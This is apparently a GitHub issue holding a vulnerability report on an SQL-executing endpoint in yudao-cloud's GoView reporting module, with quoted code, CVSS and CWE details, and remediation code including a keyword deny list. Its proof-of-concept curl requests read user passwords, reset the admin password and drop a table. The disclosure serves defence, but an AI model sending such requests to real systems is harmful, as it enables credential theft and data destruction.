New issue

CVE Report: yudao-cloud GoView SQL Injection Vulnerability #2

Open

9str0IL opened 3 weeks ago Owner

CVE Report: yudao-cloud GoView SQL Injection Vulnerability

Basic Information

Item	Content
Title	[High] yudao-cloud GoView SQL Injection
Product	yudao-cloud
Vendor	YunaiV
Affected Version	up to 2026.01
Severity	High (CVSS 3.1: 8.6)
Reporter	9str0il
Discovery Date	2026-04-07
Disclosure Date	2026-04-09
References	https://github.com/YunaiV/yudao-cloud

Vulnerability Description

A critical SQL injection vulnerability exists in yudao-cloud `GoViewDataServiceImpl.java`. The vulnerability allows authenticated users with the `report:go-view-data:get-by-sql` permission to execute arbitrary SQL queries, potentially leading to unauthorized data access, data manipulation, and database compromise.

The `getDataBySQL` method directly executes user-provided SQL statements without any parameterization or input validation, allowing attackers to inject malicious SQL code.

Affected Component

Item	Content
File	`yudao-module-report-biz/src/main/java/io/github/ruoyi/report/service/impl/GoViewDataServiceImpl.java`
Method	`getDataBySQL(String sql)`
Class	`GoViewDataServiceImpl`
Controller	`yudao-module-report-biz/src/main/java/io/github/ruoyi/report/controller/GoViewDataController.java`
API	`POST /admin-api/report/go-view-data/get-by-sql`

Vulnerability Details

Vulnerable Code

GoViewDataServiceImpl.java:

```java
@Override
public GoViewDataRespVO getDataBySQL(String sql) {
    // 1. Execute query directly (SQL Injection!)
    SqlRowSet sqlRowSet = jdbcTemplate.queryForRowSet(sql); // 🔴 SQL Injection!

    // 2. Process results
    GoViewDataRespVO respVO = new GoViewDataRespVO();
    List<Map<String, Object>> rows = new ArrayList<>();

    while (sqlRowSet.next()) {
        Map<String, Object> row = new LinkedHashMap<>();
        for (int i = 1; i <= sqlRowSet.getMetaData().getColumnCount(); i++) {
            row.put(sqlRowSet.getMetaData().getColumnName(i), sqlRowSet.getObject(i));
        }
```

```
            rows.add(row);
        }

        respVO.setRows(rows);
        return respVO;
    }
```

GoViewDataController.java:

```
@RequestMapping("/get-by-sql")
@PreAuthorize("@ss.hasPermission('report:go-view-data:get-by-sql')")
public CommonResult<GoViewDataRespVO> getDataBySQL(@Valid @RequestBody GoViewDataGetBySqlReqV
    return success(goViewDataService.getDataBySQL(reqVO.getSql()));
}
```

GoViewDataGetBySqlReqVO.java:

```
@Schema(description = "SQL 语句", requiredMode = Schema.RequiredMode.REQUIRED, example = L
@NotEmpty(message = "SQL 语句不能为空")
private String sql; // Only non-empty validation, no SQL injection protection
```

Root Cause

The vulnerability stems from the `getDataBySQL` method directly executing user-provided SQL statements using `jdbcTemplate.queryForRowSet(sql)` without any parameterization or input validation. The only validation is a non-empty check on the SQL parameter, which does not prevent SQL injection attacks.

Attack Vector

1. **Authentication**: Attacker must have `report:go-view-data:get-by-sql` permission
2. **Input Injection**: Attacker sends malicious SQL via the `sql` parameter
3. **Execution**: Server executes the injected SQL query
4. **Impact**: Attacker can extract, modify, or destroy database data

---

CVSS 3.1 Vector String

```
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
```

Metric	Value	Description
Attack Vector (AV)	Network	Can be exploited over the network
Attack Complexity (AC)	Low	No special conditions required

Metric	Value	Description
Privileges Required (PR)	Low	Requires `report:go-view-data:get-by-sql` permission
User Interaction (UI)	None	No user interaction required
Scope (S)	Unchanged	Does not affect other components
Confidentiality (C)	High	Complete data access
Integrity (I)	High	Complete data manipulation
Availability (A)	High	Complete data destruction

CWE Classification

Item	Content
CWE ID	CWE-89
CWE Name	SQL Injection
CAPEC ID	CAPEC-66

Impact

1. **Data Exfiltration**: Extract sensitive data from the database (user credentials, financial information, etc.)
2. **Data Manipulation**: Modify or delete database records
3. **Database Compromise**: Execute arbitrary SQL commands
4. **Denial of Service**: Delete tables or corrupt data
5. **Lateral Movement**: Potentially access other systems through database links

---

Remediation

Recommended Fix

Option 1: Parameterized Queries

```
@Override
public GoViewDataRespVO getDataBySQL(String sql) {
    // Use parameterized queries instead of direct execution
    // This is not feasible for arbitrary SQL, see Option 2
```

```
    throw new UnsupportedOperationException("Direct SQL execution is not allowed");
}
```

Option 2: Whitelist-based Approach

```
@Override
public GoViewDataRespVO getDataBySQL(String sql) {
    // Validate SQL against whitelist of allowed patterns
    if (!validateSql(sql)) {
        throw new SecurityException("Invalid SQL query");
    }

    // Execute validated query
    SqlRowSet sqlRowSet = jdbcTemplate.queryForRowSet(sql);
    // ... rest of code
}

private boolean validateSql(String sql) {
    // Allow only SELECT statements from specific tables
    String lowerSql = sql.toLowerCase();
    return lowerSql.startsWith("select ") &&
           !lowerSql.contains("union") &&
           !lowerSql.contains("drop") &&
           !lowerSql.contains("delete") &&
           !lowerSql.contains("insert") &&
           !lowerSql.contains("update") &&
           !lowerSql.contains("exec") &&
           !lowerSql.contains("xp_");
}
```

Option 3: Remove the endpoint entirely

```
// Remove the entire get-by-sql endpoint
// Use prepared statements and stored procedures instead
```

Additional Security Measures

1. **Implement proper input validation and sanitization**
2. **Use prepared statements for all database operations**
3. **Implement least privilege principle for database users**
4. **Enable database query logging and monitoring**
5. **Implement rate limiting for SQL execution endpoints**
6. **Add SQL query length and complexity restrictions**

Proof of Concept (PoC)

Step 1: Normal Usage (Legitimate Query)

```
curl -X POST "https://target.com/admin-api/report/go-view-data/get-by-sql" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <access_token>" \
  -d '{"sql": "SELECT * FROM user LIMIT 10"}'
```

Step 2: SQL Injection (Unauthorized Data Access)

```
# Extract user credentials
curl -X POST "https://target.com/admin-api/report/go-view-data/get-by-sql" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <access_token>" \
  -d '{"sql": "SELECT username, password FROM user"}'
```

Step 3: SQL Injection (Data Manipulation)

```
# Modify user password
curl -X POST "https://target.com/admin-api/report/go-view-data/get-by-sql" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <access_token>" \
  -d '{"sql": "UPDATE user SET password = 'hacked' WHERE username = 'admin'"}'
```

Step 4: SQL Injection (Denial of Service)

```
# Delete table
curl -X POST "https://target.com/admin-api/report/go-view-data/get-by-sql" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <access_token>" \
  -d '{"sql": "DROP TABLE user"}'
```

Timeline

Date	Event
2026-04-07	Vulnerability discovered during code audit
2026-04-09	Vulnerability report drafted
TBD	Vendor notification

Date	Event
TBD	Patch released
TBD	Public disclosure

References

1. https://github.com/YunaiV/yudao-cloud
2. https://cwe.mitre.org/data/definitions/89.html
3. https://owasp.org/www-community/attacks/SQL_Injection
4. https://portswigger.net/web-security/sql-injection

Credits

Discovered by **9str0il** during security code audit.

Disclaimer: This vulnerability report is submitted for responsible disclosure. The reporter is not responsible for any misuse of this information.

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants